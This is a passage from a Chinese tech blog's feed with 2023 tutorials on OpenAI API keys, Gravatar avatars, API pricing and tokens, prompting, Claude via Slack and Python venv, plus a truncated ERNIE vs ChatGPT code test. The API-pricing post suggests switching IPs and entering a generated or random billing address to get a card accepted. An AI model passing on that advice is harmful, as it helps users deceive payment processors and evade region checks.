&lt;p&gt;API Key 是OpenAI提供给开发者用来创建第三方工具的，比如之前在星球分享过几个非官方的ChatGPT工具，都需要用到自己的 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;这个问题最近被多次问到，写个教程&lt;/p&gt;
&lt;p&gt;什么是ChatGPT API key？&lt;/p&gt;
&lt;p&gt;API Key 是OpenAI提供给开发者用来创建第三方工具的，比如之前在星球分享过几个非官方的ChatGPT工具，都需要用到自己的key。 要想拥有自己的key，收需要你需要一个chatgpt的账号，不知道怎么获取的可以参考&lt;a href="https://foofish.net/how-to-registe-chatGPT.html"&gt;这篇文章&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;登录网站：https://platform.openai.com/&lt;/p&gt;
&lt;p&gt;点击右上角账号名字，弹出菜单后点击「View API keys」&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FtpGaKL4oSzyifHuHHnJ1CXAEjL0.png"&gt;&lt;/p&gt;
&lt;p&gt;点击「Create new secret key」创建一个新key&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FsgwnWLmF7a1eWn88f_gGndI1zKP.png"&gt;&lt;/p&gt;
&lt;p&gt;可以给这个key设置一个名字方便后面查阅，也可以不设&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FkdTXrGJU_V5o4-iJm1S97js0rnN.png"&gt;&lt;/p&gt;
&lt;p&gt;点击「Create secret key」  &lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FgiLh0IxHYH1okQ8KW8yskJES2hh.png"&gt;&lt;/p&gt;
&lt;p&gt;创建成功后，一定要及时把key保存到本地，因为当前页面关闭后就无法完整的查询到该key的内容，否则你只能创建一个新的key。&lt;/p&gt;
&lt;p&gt;有了这个key，你就可以使用 https://articles.zsxq.com/id_ka5lrlb6plom.html 中介绍的第三方chatgpt桌面客户端，没必要每次登录ChatGPT网站了。&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享、以及ChatGPT开发教程，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>如何修改chatgpt头像？</title><link href="https://foofish.net/change-chatgpt-avatar.html" rel="alternate"/><published>2023-04-21T15:44:01+08:00</published><updated>2023-04-21T15:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-21:/change-chatgpt-avatar.html</id><summary type="html">&lt;p&gt;你们发现了吗？ &lt;/p&gt;
&lt;p&gt;我们跟ChatGPT聊天时，用户头像都是邮箱账号的前两个字母，而有些人的头像却是他自己的头像，这是怎么做到的呢？ &lt;/p&gt;
&lt;p&gt;其 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;你们发现了吗？ &lt;/p&gt;
&lt;p&gt;我们跟ChatGPT聊天时，用户头像都是邮箱账号的前两个字母，而有些人的头像却是他自己的头像，这是怎么做到的呢？ &lt;/p&gt;
&lt;p&gt;其实，这是ChatGPT网站用了一个叫Gravatar的第三方的服务 ， Gravatar 可以为每个邮箱地址生成一个唯一的默认头像，默认是邮箱的前面几个字母，ChatGPT就用该图像作为用户的默认头像来显示。&lt;/p&gt;
&lt;p&gt;如何设置自己的头像？&lt;/p&gt;
&lt;p&gt;打开 Gravatar网站： https://en.gravatar.com/&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230421155758143" src="../../images/image-20230421155758143.png"&gt;&lt;/p&gt;
&lt;p&gt;使用 WordPress.com 帐户注册 Gravatar&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230421160058703" src="../../images/image-20230421160058703.png"&gt;&lt;/p&gt;
&lt;p&gt;创建后，你的邮箱账号会收到一封账号激活邮件，激活成功后就可以开始设置头像了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230421160811627" src="../../images/image-20230421160811627.png"&gt;&lt;/p&gt;
&lt;p&gt;上传头像&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230421152454805" src="../../images/image-20230421152454805.png"&gt;&lt;/p&gt;
&lt;p&gt;本地选择你要上传的头像即可。&lt;/p&gt;
&lt;p&gt;设置头像后并不会在ChatGPT的网站立即生效，这是因为有缓存问题，你可以将退出ChatGPT再重新登录后就能看到你自己的头像了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230421161321133" src="../../images/image-20230421161321133.png"&gt;&lt;/p&gt;
&lt;p&gt;如果你的产品也想接入Gravatar，其实也很简单，几行代码就能搞定，例如我使用Python可以这样：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;urllib&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;hashlib&lt;/span&gt;

&lt;span class="n"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;xxxx@xxxxx.com&amp;quot;&lt;/span&gt; &lt;span class="c1"&gt;# 你的邮箱&lt;/span&gt;
&lt;span class="n"&gt;default&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;https://www.foofish.net/default.jpg&amp;quot;&lt;/span&gt; &lt;span class="c1"&gt;# 默认头像&lt;/span&gt;
&lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt; &lt;span class="c1"&gt;# 头像尺寸&lt;/span&gt;

&lt;span class="c1"&gt;# 构造头像的URL地址&lt;/span&gt;
&lt;span class="n"&gt;gravatar_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;https://www.gravatar.com/avatar/&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;?&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;gravatar_url&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlencode&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;d&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;s&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;直接把url放在img标签即可。&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享、以及ChatGPT开发教程，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>开发者关心的ChatGPT API额度、Token、价格</title><link href="https://foofish.net/chatgpt-api-price-and-token.html" rel="alternate"/><published>2023-04-19T19:44:01+08:00</published><updated>2023-04-19T19:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-19:/chatgpt-api-price-and-token.html</id><summary type="html">&lt;p&gt;ChatGPT官网提供了Web端 https://ai.com 是给普通大众使用，此外他们还给开发者开放了API接口，方便开发者利用ChatGPT
的API能力实现更多个性化需求。 比如国内绝大部分不需要梯子访问 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;ChatGPT官网提供了Web端 https://ai.com 是给普通大众使用，此外他们还给开发者开放了API接口，方便开发者利用ChatGPT
的API能力实现更多个性化需求。 比如国内绝大部分不需要梯子访问的AI聊天机器人都是开发者利用它的API实现的。&lt;/p&gt;
&lt;p&gt;ChatGPT账号里默认有一个API调用余额，默认是5美元或者18美元（新号一般都是5美元），对于普通用户来说，这个额度没什么用，因为你在官网使用ChatGPT完全免费，不会消耗任何额度。&lt;/p&gt;
&lt;p&gt;如果你也想利用ChatGPT的API实现自己的个性化需求，例如我想把它集成在公众号或者集成在自己的某个产品中，我们就要关注一下这个额度。&lt;/p&gt;
&lt;p&gt;登录OpenAI账号&lt;a href="https://platform.openai.com/account/usage"&gt;platform.openai.com&lt;/a&gt;可查看到账号的余额还剩多少。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230419103026890" src="../../images/image-20230419103026890.png"&gt;&lt;/p&gt;
&lt;p&gt;点击左侧的Usage，能详细看到每天消耗的费用和总使用量，注意这个赠送额度是有期限的，例如我账号里面的余额6月1日到期，过期后会自动清零。如后续还需继续使用API服务，就需要另外购买。&lt;/p&gt;
&lt;h3&gt;申请API额度&lt;/h3&gt;
&lt;p&gt;申请更多的额度不需要升级Plus，普通账号就可以操作，你只要绑以上一张国外信用卡（如何申请信用卡参考&lt;a href="https://foofish.net/apply-a-depay-credit-card.html"&gt;Depay信用卡申请保姆级教程&lt;/a&gt;），确保卡里面已经有余额（几美元就行）。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230419111332138" src="../../images/image-20230419111332138.png"&gt;&lt;/p&gt;
&lt;p&gt;根据自己需求选择个人或者企业&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230419111932747" src="../../images/image-20230419111932747.png"&gt;&lt;/p&gt;
&lt;p&gt;绑信用卡有一定概率拒卡，如果被拒请多尝试几次或者换IP，换IP也没用可能需要换卡，地址可以根据IP所在地在网上找生成器弄一个，甚至随便填一个也没问题（有运气成分）&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230419112408148" src="../../images/image-20230419112408148.png"&gt;&lt;/p&gt;
&lt;p&gt;绑卡成功后，信用卡会有5美元预扣款，同时在你的GPT账号中会多出120美刀的使用额度，注意这个不是赠送给你的余额，而是你当月可消费的最大限额，具体扣款会在月底根据你实际消费从信用卡中扣除。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230419104413858" src="../../images/image-20230419104413858.png"&gt;&lt;/p&gt;
&lt;p&gt;如果你的使用量非常大，120美刀不够用，你还可以去申请更大限额，填表格就行，然后等待审核通过即可。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230419144605860" src="../../images/image-20230419144605860.png"&gt;&lt;/p&gt;
&lt;h3&gt;Token是什么&lt;/h3&gt;
&lt;p&gt;Token 是 GPT 处理文本的基本单位。Token 可以是一个字、一个词语或特定语言中的一个字符。它们负责将输入的文本数据转换为 GPT 可以处理的数据格式。&lt;/p&gt;
&lt;p&gt;通常1000个Token约等于750个英文单词或者400～500个汉字。&lt;/p&gt;
&lt;p&gt;每个 GPT 模型都有一个预设的最大 Tokens 数量。例如，GPT-3 每次调用允许处理的最大 Tokens 数量约为 4096。GPT4则允许处理3万多个Token， 这个数量包括用户输入和GPT输出的所有 Tokens。&lt;/p&gt;
&lt;p&gt;OpenAI官网提供了一个文本与token长度的计算&lt;a href="https://platform.openai.com/tokenizer"&gt;工具&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230419221746818" src="../../images/image-20230419221746818.png"&gt;&lt;/p&gt;
&lt;p&gt;比如“我是刘志军”5个字符占用了9个token。&lt;/p&gt;
&lt;h3&gt;API如何计费&lt;/h3&gt;
&lt;p&gt;&lt;img alt="image-20230419221042273" src="../../images/image-20230419221042273.png"&gt;&lt;/p&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;p&gt;GPT3.5价格非常便宜，1000个token的价格是0.002美元，换算成人民币1000字的问答所消耗的费用2分钱左右。而GPT4的价格比GPT3最高贵了近6倍。&lt;/p&gt;
&lt;p&gt;以上&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享、以及ChatGPT开发教程，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>如何正确地向ChatGPT提问</title><link href="https://foofish.net/how-to-ask-a-good-question-with-chatgpt.html" rel="alternate"/><published>2023-04-18T19:44:01+08:00</published><updated>2023-04-18T19:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-18:/how-to-ask-a-good-question-with-chatgpt.html</id><summary type="html">&lt;p&gt;要想得到一个好的回答，你要把ChatGPT当做一个正常的“人”来使用（别指望让它来猜你的心思），空泛的问题得到的结果也是泛泛而谈，问题描述越 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;要想得到一个好的回答，你要把ChatGPT当做一个正常的“人”来使用（别指望让它来猜你的心思），空泛的问题得到的结果也是泛泛而谈，问题描述越具体，给你的答案通常也更具价值， 一个好答案通常来自于一个好问题。&lt;/p&gt;
&lt;p&gt;提问的几个关键要素&lt;/p&gt;
&lt;p&gt;1、设定角色&lt;/p&gt;
&lt;p&gt;2、提出你的需求/目标&lt;/p&gt;
&lt;p&gt;3、希望ChatGPT干什么&lt;/p&gt;
&lt;p&gt;4、补充信息&lt;/p&gt;
&lt;p&gt;例如：&lt;/p&gt;
&lt;p&gt;差问题：如何减肥&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230418223119445" src="../../images/image-20230418223119445.png"&gt;&lt;/p&gt;
&lt;p&gt;与之对应的好问题是：你现在是健身教练，我要减肥，目标是1个月减10斤，帮我制定一个详细计划，我的身高是170cm，体重80kg&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230418225348692" src="../../images/image-20230418225348692.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230418230532417" src="../../images/image-20230418230532417.png"&gt;&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享、以及ChatGPT开发教程，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>Claude保姆级注册教程</title><link href="https://foofish.net/how-to-use-claude.html" rel="alternate"/><published>2023-04-18T19:44:01+08:00</published><updated>2023-04-18T19:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-18:/how-to-use-claude.html</id><summary type="html">&lt;h3&gt;0：前言&lt;/h3&gt;
&lt;p&gt;Claude 是Anthropic公司开发的AI聊天机器人，与ChatGPT类似，由OpenAI（ChatGPT所在的公司）的前副总裁创办。和ChatGPT-3.5相当，但比不上GPT4，拥有连续对话能力，在撰写小说、编写代码、解释概念等方面 …&lt;/p&gt;</summary><content type="html">&lt;h3&gt;0：前言&lt;/h3&gt;
&lt;p&gt;Claude 是Anthropic公司开发的AI聊天机器人，与ChatGPT类似，由OpenAI（ChatGPT所在的公司）的前副总裁创办。和ChatGPT-3.5相当，但比不上GPT4，拥有连续对话能力，在撰写小说、编写代码、解释概念等方面表现出色&lt;/p&gt;
&lt;p&gt;Claude 目前还处于免费使用阶段，只需注册一个Slack账号即可以，无需梯子也可以使用。&lt;/p&gt;
&lt;h3&gt;一：注册Slack账号&lt;/h3&gt;
&lt;p&gt;打开Slack网站：&lt;a href="https://slack.com/get-started#/createnew"&gt;slack&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230418002222142" src="../../images/image-20230418002222142.png"&gt;&lt;/p&gt;
&lt;p&gt;可以直接使用Gmail邮箱注册（QQ邮箱不支持），或者直接Google、Apple账号授权登录，这里我用Gmail邮箱注册。&lt;/p&gt;
&lt;p&gt;填上验证码&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230418002527452" src="../../images/image-20230418002527452.png"&gt;&lt;/p&gt;
&lt;p&gt;创建工作区&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230418002638333" src="../../images/image-20230418002638333.png"&gt;&lt;/p&gt;
&lt;p&gt;创建工作区后填上自己姓名，跳过邀请&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230418002858548" src="../../images/image-20230418002858548.png"&gt;&lt;/p&gt;
&lt;h3&gt;二：Slack中添加Claude&lt;/h3&gt;
&lt;p&gt;打开网站 &lt;a href="https://www.anthropic.com/claude-in-slack"&gt;www.anthropic.com&lt;/a&gt; ，点击 Add to Slack&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230417182727173" src="../../images/image-20230417182727173.png"&gt;&lt;/p&gt;
&lt;p&gt;允许授权&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230418003247515" src="../../images/image-20230418003247515.png"&gt;&lt;/p&gt;
&lt;p&gt;授权成功，如果出现403等错误，可多次重试。 也可以微信上(go2071)告诉我你的邮箱，我可以拉你加入到我的频道&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230418003320347" src="../../images/image-20230418003320347.png"&gt;&lt;/p&gt;
&lt;p&gt;回到Slack中，这时候你会发现你的Slack多了一个叫Claude的应用&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230418003816553" src="../../images/image-20230418003816553.png"&gt;&lt;/p&gt;
&lt;h3&gt;三：体验Claude&lt;/h3&gt;
&lt;p&gt;你可以进入任意频道，在聊天窗口@Claude 并邀请Claude机器人加入频道后开始群聊&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230418004103802" src="../../images/image-20230418004103802.png"&gt;&lt;/p&gt;
&lt;p&gt;点同意&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230418004243101" src="../../images/image-20230418004243101.png"&gt;&lt;/p&gt;
&lt;p&gt;@Claude并提问&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230418004751852" src="../../images/image-20230418004751852.png"&gt;&lt;/p&gt;
&lt;p&gt;频道类似与群聊，大家都能看到消息内容。你也可以在应用列表中点击Claude直接与Claude发起聊天，相当于一对一私聊&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230418005959102" src="../../images/image-20230418005959102.png"&gt;&lt;/p&gt;
&lt;p&gt;如果&lt;a href="https://link.juejin.cn/?target=https%3A%2F%2Fdocs.qq.com%2Fdoc%2FDRHdDaFNYSW9GS1lS"&gt;没有ChatGPT账号&lt;/a&gt;，Claude作为替换方案还是可以的。当然如果要用上最先进的AIGC，一定要去体验下GPT4。&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="claude"/></entry><entry><title>Python虚拟环境使用</title><link href="https://foofish.net/python-venv-usage.html" rel="alternate"/><published>2023-04-17T19:44:01+08:00</published><updated>2023-04-17T19:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-17:/python-venv-usage.html</id><summary type="html">&lt;p&gt;有粉丝读者来问，python包管理工具用哪个好？pipenv、pyenv、Poetry 、conda各种工具琳琅满目。说实话，初学者真没必要花这个时间去折腾这些玩意，因为这些工具我用下来各有各的毛病 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;有粉丝读者来问，python包管理工具用哪个好？pipenv、pyenv、Poetry 、conda各种工具琳琅满目。说实话，初学者真没必要花这个时间去折腾这些玩意，因为这些工具我用下来各有各的毛病，不用也完全不影响你做项目。&lt;/p&gt;
&lt;p&gt;作为初学者，python自带的pip命令管理安装包， venv工具管理虚拟环境足够了。别去瞎折腾那些工具，他们不但不能给你节省时间，还会经常给你带来很多麻烦。&lt;/p&gt;
&lt;p&gt;先说说为什么Python自带的这两个工具足够呢？&lt;/p&gt;
&lt;p&gt;写了十几年代码，我很少会遇到一个电脑要安装多个不同的Python版本，除非你是老鸟，想安装更高的内测版本来尝鲜体验新功能，否则用一个稳定的版本就行，特别是Python3.7以后，Python的向后兼容已经非常完善了，不会存在低版本代码无法在高版本运行不了的情况。&lt;/p&gt;
&lt;p&gt;安装第三方工具直接使用pip命令，例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pip install flask-siwadoc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;如果你电脑里有好几个Python项目，我还是强烈建议你使用虚拟环境来管理，所谓虚拟环境就是每个项目用自己独立的Python运行环境，项目之间的包不会相互起冲突。&lt;/p&gt;
&lt;p&gt;在Python2时代，虚拟环境需要用到第三方工具 virtualenv，而Python3直接将该功能加入到了标准库，说明这个功能是高频刚需。&lt;/p&gt;
&lt;p&gt;创建虚拟环境&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;~/venv&lt;/code&gt;目录下创建虚拟环境：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python -m venv venv
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这里有两个venv，第一个是 venv 命令， 第二个是 venv 目录，创建成功后，在当前目录下会多个venv目录，里面放的就是该项目的虚拟环境&lt;/p&gt;
&lt;p&gt;启用虚拟环境&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;source ~/venv/bin/activate
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;可以看到，命令行的提示符前面会出现括号，里面是虚拟环境名称。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230417220832834" src="../../images/image-20230417220832834.png"&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;pip&lt;/code&gt;安装需要的包：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pip install tensorflow
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;安装的包会放在该虚拟环境&lt;code&gt;~/venv/lib/pythonx.x/site-packages&lt;/code&gt; 目录下。&lt;/p&gt;
&lt;p&gt;退出虚拟环境&lt;/p&gt;
&lt;p&gt;退出虚环境，在终端执行下面命令即可：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;deactivate
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="python"/></entry><entry><title>文心一言 VS ChatGPT 测评</title><link href="https://foofish.net/chatgpt-vs-yiyan.html" rel="alternate"/><published>2023-04-15T19:44:01+08:00</published><updated>2023-04-15T19:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-15:/chatgpt-vs-yiyan.html</id><summary type="html">&lt;p&gt;今天收到文心一言的内测邀请，第一时间体验了代表国内最先进水平的AIGC产品，李彦宏说他们的技术只落后ChatGPT大概2个月时间，所以我想拿两 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;今天收到文心一言的内测邀请，第一时间体验了代表国内最先进水平的AIGC产品，李彦宏说他们的技术只落后ChatGPT大概2个月时间，所以我想拿两者来做个对比测试。&lt;/p&gt;
&lt;p&gt;我用的测评方法是用它来给我写一段代码，需求是用python实现一个猜数字的游戏，最多3次机会&lt;/p&gt;
&lt;p&gt;提问：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;用python实现一个猜数字的游戏，最多3次机会
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;回答：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;random&lt;/span&gt;  

&lt;span class="c1"&gt;# 生成一个1到100之间的随机整数  &lt;/span&gt;
&lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;randint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  

&lt;span class="c1"&gt;# 初始化猜测次数  &lt;/span&gt;
&lt;span class="n"&gt;guesses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;  

&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;我想了一个1到100之间的数字，请你猜猜看。&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;guesses&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  
    &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;你猜是多少？&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  
    &lt;span class="n"&gt;guesses&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;  

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;你猜的数字太小了。&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;你猜的数字太大了。&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;恭喜你，你猜对了！我想的数字是&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;。&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  
        &lt;span class="k"&gt;break&lt;/span&gt;  

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;guesses&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  
